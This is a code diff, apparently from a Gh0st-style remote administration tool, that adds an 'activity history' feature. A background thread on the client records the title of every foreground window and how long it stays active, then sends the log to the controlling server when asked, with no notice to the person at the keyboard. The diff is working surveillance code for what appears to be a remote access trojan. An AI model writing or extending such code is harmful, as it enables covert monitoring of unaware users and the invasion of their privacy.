diff --git a/client/ActivityHistory.cpp b/client/ActivityHistory.cpp new file mode 100644 index 0000000..ce985a0 --- /dev/null +++ b/client/ActivityHistory.cpp @@ -0,0 +1,126 @@ +// ActivityHistory.cpp: 客户端历史活动记录采集模块 + +#include "stdafx.h" +#include "ActivityHistory.h" +#include "KernelManager.h" // ActivityWindow + +ActivityHistory& ActivityHistory::Instance() +{ + static ActivityHistory inst; + return inst; +} + +void ActivityHistory::Start() +{ + if (m_started.exchange(true)) + return; + m_running = true; + m_thread = std::thread(&ActivityHistory::Loop, this); +} + +void ActivityHistory::Stop() +{ + m_running = false; + if (m_thread.joinable()) + m_thread.join(); +} + +std::string ActivityHistory::Dump() const +{ + std::lock_guard lock(m_mutex); + std::string out; + // 当前进行中的窗口:若已持续达到阈值,作为最新一条返回 + if (!m_curTitle.empty() && m_curDwellSec >= ACTIVITY_MIN_DWELL_SEC) + out += FormatRecord(m_curStartTime, m_curTitle, m_curDwellSec) + "\n"; + for (const auto& r : m_records) + out += r + "\n"; + return out; +} + +void ActivityHistory::Loop() +{ + // 空闲打断阈值:远大于 ACTIVITY_MIN_DWELL_SEC,避免“停在一个窗口上看几秒”被过早结账。 + const DWORD IDLE_THRESHOLD_MS = ACTIVITY_IDLE_BREAK_SEC * 1000; + + ActivityWindow aw; + HWND lastHwnd = NULL; + std::string lastTitle; + std::string startTime; + int dwellSec = 0; + + while (m_running) { + // 取前台窗口句柄 + 标题;空闲/锁定/取不到标题时 hwnd==NULL 或 title 为空 + HWND hwnd = aw.GetActiveWindowHandle(IDLE_THRESHOLD_MS); + std::string title = aw.GetActiveTitleOrEmpty(IDLE_THRESHOLD_MS); + + { + std::lock_guard lock(m_mutex); + + if (hwnd == NULL || title.empty()) { + // 空闲/锁定/无标题:结账上一个窗口 + if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC) + m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec)); + lastHwnd = NULL; + lastTitle.clear(); + dwellSec = 0; + } else if (hwnd == lastHwnd) { + // 同一窗口:即使标题动态变化也连续累计,标题取最新值 + ++dwellSec; + lastTitle = title; + } else { + // 窗口切换:结账上一个,开始累计新窗口 + if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC) + m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec)); + lastHwnd = hwnd; + lastTitle = title; + startTime = NowStr(); + dwellSec = 1; + } + + while (m_records.size() > ACTIVITY_HISTORY_MAX) + m_records.pop_back(); + + m_curTitle = lastTitle; + m_curStartTime = startTime; + m_curDwellSec = dwellSec; + } + + Sleep(1000); + } +} + +std::string ActivityHistory::FormatRecord(const std::string& startTime, const std::string& title, int dwellSec) +{ + // 标题里的换行会破坏“每行一条”,做最小清洗 + std::string t; + t.reserve(title.size()); + for (char c : title) { + if (c == '\r' || c == '\n') c = ' '; + t += c; + } + return "[" + startTime + "] [" + t + "] " + FormatDuration(dwellSec); +} + +std::string ActivityHistory::FormatDuration(int sec) +{ + if (sec < 0) sec = 0; + if (sec < 60) + return std::to_string(sec) + "s"; + if (sec < 3600) { + int m = sec / 60, s = sec % 60; + return s ? std::to_string(m) + "m" + std::to_string(s) + "s" + : std::to_string(m) + "m"; + } + int h = sec / 3600, m = (sec % 3600) / 60; + return std::to_string(h) + "h" + std::to_string(m) + "m"; +} + +std::string ActivityHistory::NowStr() +{ + SYSTEMTIME st; + GetLocalTime(&st); + char buf[32]; + sprintf_s(buf, sizeof(buf), "%04d-%02d-%02d %02d:%02d:%02d", + st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond); + return buf; +} diff --git a/client/ActivityHistory.h b/client/ActivityHistory.h new file mode 100644 index 0000000..e77cd03 --- /dev/null +++ b/client/ActivityHistory.h @@ -0,0 +1,54 @@ +#pragma once +#include +#include +#include +#include +#include + +// 历史活动记录: +// 每条格式:[YYYY-MM-DD HH:MM:SS] [窗口标题] <时长> +// 倒序存储(最新在前)。后台线程每 1 秒采样一次前台窗口。 +#define ACTIVITY_MIN_DWELL_SEC 5 // 一闪而过阈值(秒):驻留低于此值不记录 +#define ACTIVITY_IDLE_BREAK_SEC 300 // 空闲打断阈值(秒):空闲超过此值才结账当前窗口 + // 注意:与心跳“活动窗口”列的 6s 判定不同,这里要远大于 MIN_DWELL, + // 否则“停在一个窗口上看 10 秒”会被 6s 空闲判定过早结账/漏记 +#define ACTIVITY_HISTORY_MAX 500 // 内存保留的最大记录条数 + +class ActivityHistory +{ +public: + static ActivityHistory& Instance(); + + // 启动常驻采样线程(幂等,重复调用无副作用) + void Start(); + // 停止采样线程 + void Stop(); + + // 返回全部历史记录(最新在前,多行文本,每行一条) + std::string Dump() const; + +private: + ActivityHistory() = default; + ~ActivityHistory() { Stop(); } + ActivityHistory(const ActivityHistory&) = delete; + ActivityHistory& operator=(const ActivityHistory&) = delete; + + void Loop(); + + // 拼一条记录字符串 + static std::string FormatRecord(const std::string& startTime, const std::string& title, int dwellSec); + // 时长格式化:Ns / Nm / NmNs / NhNm + static std::string FormatDuration(int sec); + // 当前时间戳 "YYYY-MM-DD HH:MM:SS" + static std::string NowStr(); + + mutable std::mutex m_mutex; + std::deque m_records; // 已完成记录,最新在前 + std::string m_curTitle; // 当前进行中的窗口标题 + std::string m_curStartTime; // 当前窗口的起始时间 + int m_curDwellSec = 0; // 当前窗口已连续活跃秒数 + + std::atomic m_running{ false }; + std::atomic m_started{ false }; + std::thread m_thread; +}; diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 76c7dc3..d55f110 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -3,6 +3,7 @@ #include "stdafx.h" #include "ClientDll.h" +#include "ActivityHistory.h" #include #include #include @@ -588,6 +589,7 @@ DWORD WINAPI StartClient(LPVOID lParam) std::string ip = settings.ServerIP(); int port = settings.ServerPort(); Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port); + ActivityHistory::Instance().Start(); if (!app.m_bShared) { auto now = time(0); valid_to = atof(cfg.GetStr("settings", "valid_to").c_str()); diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index b0aca5a..ebf843e 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -178,6 +178,7 @@ + @@ -225,6 +226,7 @@ + diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 7456be6..a69cb2f 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -10,6 +10,7 @@ #include #include #include "ClientDll.h" +#include "ActivityHistory.h" #include "MemoryModule.h" #include "common/dllRunner.h" #include "server/2015Remote/pwd_gen.h" @@ -822,6 +823,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopClientLogManager, &m_hThread[m_ulThreadCount], 0, NULL); break; } + case COMMAND_QUERY_ACTIVITY: { + // 主连接一次性快照:直接 dump 历史活动并回传 + std::string text = ActivityHistory::Instance().Dump(); + std::vector pkt(1 + text.size()); + pkt[0] = TOKEN_REPORT_ACTIVITY; + if (!text.empty()) + memcpy(pkt.data() + 1, text.data(), text.size()); + m_ClientObject->Send2Server((char*)pkt.data(), (ULONG)pkt.size()); + break; + } case CMD_SET_GROUP: { std::string group = std::string((char*)szBuffer + 1); m_cfg->SetStr("settings", "group_name", group); diff --git a/client/KernelManager.h b/client/KernelManager.h index 1b04845..d512180 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -40,6 +40,24 @@ public: return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle); } + // 返回当前活跃窗口标题;若空闲(idle ≥ threshold_ms)或取不到标题则返回空串。 + // 供历史活动采集使用,避免“判定活跃”与“取标题”之间的竞态窗口。 + std::string GetActiveTitleOrEmpty(DWORD threshold_ms = 6000) + { + if (GetUserIdleTime() >= threshold_ms) + return std::string(); + return GetActiveWindowTitle(); + } + + // 返回当前前台窗口句柄;空闲(idle ≥ threshold_ms)返回 NULL。 + // 历史活动按窗口(HWND)而非标题字符串累计:标题动态变化时不会反复归零。 + HWND GetActiveWindowHandle(DWORD threshold_ms = 6000) + { + if (GetUserIdleTime() >= threshold_ms) + return NULL; + return GetForegroundWindow(); + } + private: std::string FormatMilliseconds(DWORD ms) { diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index a49d3c3..c94c427 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -185,6 +185,7 @@ + @@ -234,6 +235,7 @@ + diff --git a/common/commands.h b/common/commands.h index d2a9ce5..d8c1811 100644 --- a/common/commands.h +++ b/common/commands.h @@ -317,6 +317,8 @@ enum { TOKEN_REPORT_LOG = 156, COMMAND_FORBIDDEN = 157, CMD_CUSTOM_CURSOR = 158, + COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动 + TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动 TOKEN_DECRYPT = 199, TOKEN_REGEDIT = 200, // 注册表 diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index b605f2c..c3db3e2 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -15,6 +15,7 @@ #include "TerminalDlg.h" #include "SystemDlg.h" #include "CClientLog.h" +#include "CActivityDialog.h" #include "BuildDlg.h" #include "AudioDlg.h" #include "RegisterDlg.h" @@ -1017,6 +1018,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_ONLINE_VIEW_WND, &CMy2015RemoteDlg::OnOnlineWindowManager) ON_COMMAND(ID_ENABLE_DEV_DEBUG, &CMy2015RemoteDlg::OnEnableDevDebug) ON_COMMAND(ID_ONLINE_CLIENT_LOG, &CMy2015RemoteDlg::OnOnlineClientLog) + ON_COMMAND(ID_ONLINE_HISTORY_ACTIVITY, &CMy2015RemoteDlg::OnOnlineHistoryActivity) ON_COMMAND(ID_ONLINE_FORBIDDEN, &CMy2015RemoteDlg::OnOnlineForbidden) END_MESSAGE_MAP() @@ -4249,6 +4251,12 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) } } + // 客户管理子菜单:新增“历史活动” + CMenu* pClientMenu = FindSubMenuByCommand(SubMenu, ID_ONLINE_ASSIGN_TO); + if (pClientMenu) { + pClientMenu->InsertMenu(0, MF_BYPOSITION | MF_STRING, ID_ONLINE_HISTORY_ACTIVITY, _TR("历史活动")); + } + // 创建一个新的子菜单 CMenu newMenu; if (!newMenu.CreatePopupMenu()) { @@ -5357,6 +5365,16 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) } break; } + case TOKEN_REPORT_ACTIVITY: { + // 一次性快照:直接打开“历史活动”对话框展示,不占用 hDlg(避免与运行日志对话框冲突) + std::string text((char*)(szBuffer + 1), len > 1 ? len - 1 : 0); + CActivityDialog* dlg = new CActivityDialog(this, ContextObject->GetServer(), ContextObject); + dlg->Create(IDD_DIALOG_CLIENT_LOG, GetDesktopWindow()); + dlg->ShowWindow(SW_SHOW); + if (!text.empty()) + dlg->AppendLog(text); + break; + } case TOKEN_CLIENT_MSG: { ClientMsg *msg =(ClientMsg*)ContextObject->InDeCompressedBuffer.GetBuffer(0); PostMessageA(WM_SHOWERRORMSG, (WPARAM)new CString(_L(msg->text)), (LPARAM)new CString(_L(msg->title))); @@ -12015,6 +12033,12 @@ void CMy2015RemoteDlg::OnOnlineClientLog() SendSelectedCommand(&cmd, sizeof(BYTE)); } +void CMy2015RemoteDlg::OnOnlineHistoryActivity() +{ + BYTE cmd = COMMAND_QUERY_ACTIVITY; + SendSelectedCommand(&cmd, sizeof(BYTE)); +} + LRESULT CMy2015RemoteDlg::OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam) { std::string* pInitLog = reinterpret_cast(wParam); diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index fa2ae8e..357b355 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -650,6 +650,7 @@ public: afx_msg void OnOnlineActiveWnd(); afx_msg void OnEnableDevDebug(); afx_msg void OnOnlineClientLog(); + afx_msg void OnOnlineHistoryActivity(); afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam); afx_msg void OnOnlineForbidden(); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 1e972c7..94da9ef 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -291,6 +291,7 @@ + @@ -374,6 +375,7 @@ + NotUsing diff --git a/server/2015Remote/CActivityDialog.cpp b/server/2015Remote/CActivityDialog.cpp new file mode 100644 index 0000000..05292cd --- /dev/null +++ b/server/2015Remote/CActivityDialog.cpp @@ -0,0 +1,98 @@ +// CActivityDialog.cpp: 历史活动展示对话框(一次性快照,无子连接) +#include "stdafx.h" +#include "afxdialogex.h" +#include "CActivityDialog.h" +#include "resource.h" +#include "../../common/commands.h" + +IMPLEMENT_DYNAMIC(CActivityDialog, CDialogEx) + +CActivityDialog::CActivityDialog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext) + : CDialogBase(IDD_DIALOG_CLIENT_LOG, pParent, pServer, pContext, 0) +{ +} + +CActivityDialog::~CActivityDialog() +{ +} + +void CActivityDialog::DoDataExchange(CDataExchange* pDX) +{ + CDialogBase::DoDataExchange(pDX); + DDX_Control(pDX, IDC_EDIT_LOG, m_editLog); +} + +BEGIN_MESSAGE_MAP(CActivityDialog, CDialogBase) + ON_WM_SIZE() +END_MESSAGE_MAP() + +BOOL CActivityDialog::OnInitDialog() +{ + CDialogBase::OnInitDialog(); + SetWindowText(_TR("历史活动") + " - " + m_IPAddress); + HICON hIcon = AfxGetApp()->LoadIcon(IDI_CLIENTLOG); + SetIcon(hIcon, TRUE); + SetIcon(hIcon, FALSE); + // 用 Segoe UI:MBCS 工程里模板默认字体是 Microsoft Sans Serif(无 Dingbats 字形), + // 显式指定 Segoe UI,中文走字体链接到微软雅黑、Dingbats(✻/✦)走 Segoe UI Symbol 回退。 + m_font.CreatePointFont(90, _T("Segoe UI")); + m_editLog.SetFont(&m_font); + // 重建为 Unicode 编辑框:这是 ✻/✦ 能正确显示的关键。重建时已保留上面的字体。 + RebuildEdit(m_editLog); + return TRUE; +} + +void CActivityDialog::RebuildEdit(CEdit& m_edit) +{ + CRect rc; + m_edit.GetWindowRect(&rc); + ScreenToClient(&rc); + DWORD style = m_edit.GetStyle(); + DWORD exStyle = m_edit.GetExStyle(); + HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0); + UINT ctrlID = m_edit.GetDlgCtrlID(); + m_edit.DestroyWindow(); + HWND hEdit = ::CreateWindowExW( + exStyle, L"EDIT", L"", style, + rc.left, rc.top, rc.Width(), rc.Height(), + this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID, + AfxGetInstanceHandle(), NULL); + m_edit.Attach(hEdit); + if (hFont) + m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0)); +} + +void CActivityDialog::OnSize(UINT nType, int cx, int cy) +{ + CDialogBase::OnSize(nType, cx, cy); + if (m_editLog.GetSafeHwnd() && cx > 0 && cy > 0) + m_editLog.MoveWindow(7, 7, cx - 14, cy - 14); +} + +// 快照模式:无子连接,OnReceiveComplete 空实现(纯虚函数必须覆盖) +void CActivityDialog::OnReceiveComplete() +{ +} + +void CActivityDialog::AppendLog(const std::string& text) +{ + if (text.empty()) return; + + // \n → \r\n,Windows 编辑框换行需要 \r\n + std::string norm; + norm.reserve(text.size() + 64); + for (size_t i = 0; i < text.size(); ++i) { + if (text[i] == '\n' && (i == 0 || text[i - 1] != '\r')) + norm += '\r'; + norm += text[i]; + } + + // 服务端是 MBCS 工程,编辑框走 A 接口会把 UTF-8 中文当 ANSI 处理导致乱码; + // 与"活动窗口"列一致,用 W 接口显示:先把 UTF-8 转成宽字符,再走 WM_SETTEXTW 写入。 + // (编辑框已在 OnInitDialog 中重建为 Unicode 窗口,SetWindowTextW 不会经过 CP_ACP 回转。) + int wlen = MultiByteToWideChar(CP_UTF8, 0, norm.c_str(), (int)norm.size(), NULL, 0); + if (wlen <= 0) return; + std::wstring w(wlen, L'\0'); + MultiByteToWideChar(CP_UTF8, 0, norm.c_str(), (int)norm.size(), &w[0], wlen); + ::SetWindowTextW(m_editLog.GetSafeHwnd(), w.c_str()); +} diff --git a/server/2015Remote/CActivityDialog.h b/server/2015Remote/CActivityDialog.h new file mode 100644 index 0000000..7da3dc2 --- /dev/null +++ b/server/2015Remote/CActivityDialog.h @@ -0,0 +1,36 @@ +#pragma once +#include "afxcmn.h" +#include "IOCPServer.h" + +class CActivityDialog : public CDialogBase +{ + DECLARE_DYNAMIC(CActivityDialog) + +public: + CActivityDialog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext); + virtual ~CActivityDialog(); + + virtual void OnReceiveComplete(); + void AppendLog(const std::string& text); + +protected: + virtual BOOL OnInitDialog(); + virtual void DoDataExchange(CDataExchange* pDX); + afx_msg void OnSize(UINT nType, int cx, int cy); + + DECLARE_MESSAGE_MAP() + +private: + // 把编辑框重建为 Unicode 类窗口(同 CKeyBoardDlg::RebuildEdit)。 + // 工程是 MBCS,对话框模板创建的是 ANSI 编辑框,SetWindowTextW 会在 W->A + // 边界用 CP_ACP 转码,Dingbats(✻/✦)等字符会变 ?。重建为 Unicode 后 + // W 版消息直通,不再走 CP_ACP。 + void RebuildEdit(CEdit& m_edit); + + CEdit m_editLog; + CFont m_font; // 编辑框字体(成员持有,随对话框销毁,避免堆泄漏) + +#ifdef AFX_DESIGN_TIME + enum { IDD = IDD_DIALOG_CLIENT_LOG }; +#endif +}; diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index fcc2830..815b061 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -1956,6 +1956,7 @@ FRPC Զ ʧ! ͨȨ޲, ֶϵͳá=Failed! You have to set it via system environment center. ־=Client Log ͻ־=Client Log +ʷ=Activity History ʹ=Forbidden Client ȷѡıس?=Are you sure to forbidden the selected clients? ޽=Not found diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index 161ea67..00c8825 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -1947,6 +1947,7 @@ FRPC Զ ʧ! ͨȨ޲, ֶϵͳá=ʧ! ͨȨ޲, ֶϵͳá ־=־ ͻ־=ͻ־ +ʷ=vʷ ʹ=ʹ ȷѡıس?=ȷѡıس? ޽=޽ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 15850b4..4a97fca 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -1028,6 +1028,7 @@ #define ID_ONLINE_CLIENT_LOG 33074 #define ID_ONLINE_33075 33075 #define ID_ONLINE_FORBIDDEN 33076 +#define ID_ONLINE_HISTORY_ACTIVITY 33082 #define ID_EXIT_FULLSCREEN 40001 // Next default values for new objects @@ -1035,7 +1036,7 @@ #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 398 -#define _APS_NEXT_COMMAND_VALUE 33082 +#define _APS_NEXT_COMMAND_VALUE 33083 #define _APS_NEXT_CONTROL_VALUE 2542 #define _APS_NEXT_SYMED_VALUE 105 #endif